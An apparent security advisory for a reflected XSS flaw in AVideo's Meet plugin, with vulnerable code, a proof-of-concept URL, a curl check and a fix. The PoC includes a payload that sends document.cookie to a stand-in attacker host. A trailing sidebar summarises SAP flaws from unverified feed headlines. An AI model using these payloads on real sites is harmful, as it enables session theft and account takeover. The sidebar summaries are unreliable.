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CVE-2026-43878

NVDCIRCLENISA

EUVD-2026-29314 · Published May 5, 2026

Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}
// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

  • Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"):
    if ($meet->getPublic() == "2") {
        $obj->canJoin = true;
        $obj->reason = "Is public";
        return $obj;
    }
    
  • Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
  • validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow:

  1. document.location = "CHANNEL_URL?user="; — assignment completes.
  2. } — closes _readyToClose.
  3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called).
  4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

  1. Attacker sends victim the following URL:

    https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x
    

    URL-decoded user payload: ";}alert(1);function a(){"

  2. Server reflects the parameters unescaped into the script block on line 116.

  3. Victim's browser parses the script; alert(1) fires immediately on page load.

  4. Verification:

    $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \
        | grep -A1 _readyToClose
    function _readyToClose() {
        document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";
    

    The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

  5. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload:

    user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x
    

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

  • Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
  • Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
  • Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
  • Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

Technologies

Wwbn Avideo

Weaknesses

CWE-79

CVSS scores

  • v3.16.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Critical4d ago

Multiple Vulnerabilities in SAP - Unauthenticated Authentication Bypass & Authentication Bypass via Default ACL & Unauthenticated Remote Memory Corruption & Remote Code Execution

SAP NetWeaver Application Server ABAP is the application server and runtime of SAP's ABAP platform. It runs SAP business applications such as S/4HANA and ERP, and it handles authentication, authorization and RFC communication. CVE-2026-120017 No advisory, NVD entry or other public record for this identifier could be found, so the details below come only from the vulnerability-feed headline. The headline describes an unauthenticated authentication bypass in SAP NetWeaver AS ABAP. This suggests a remote attacker could access protected functionality without valid credentials. The affected versions, the exact flaw mechanism, the impact and the patch status are not confirmed by any source. The SAP Security Patch Day notes should be checked for the official details. CVE-2026-89103 The only source for this entry is the vulnerability feed headline: SAP Gateway default access control list (ACL) authentication bypass, classed as unauthenticated remote code execution. No NVD record, SAP Security Note or vendor advisory could be found for this identifier, so I could not confirm the root cause, the affected versions or the fix. The headline suggests that default ACL settings let an unauthenticated remote attacker bypass Gateway access controls, with impact comparable to remote code execution. This is unverified. The search turned up only unrelated SAP identifiers, such as the NetWeaver Message Server flaw CVE-2026-58240, and none of them can be tied to this entry. Check the SAP Support Portal security notes and the NVD entry directly. CVE-2026-89126 Only the vulnerability-feed headline describes this flaw. It is a memory corruption vulnerability in SAP Web Dispatcher that an unauthenticated remote attacker could exploit to achieve remote code execution. No advisory, NVD record or SAP Security Note for this identifier appeared in the searches I ran. Affected versions, patch status and the root cause are therefore unconfirmed. Related SAP Web Dispatcher and ICM memory corruption flaws exist under other identifiers, for example CVE-2025-42877 and CVE-2026-44756. I did not confirm that CVE-2026-89126 is linked to either of them. Check the SAP Support Portal Security Notes and the NVD for the authoritative details.

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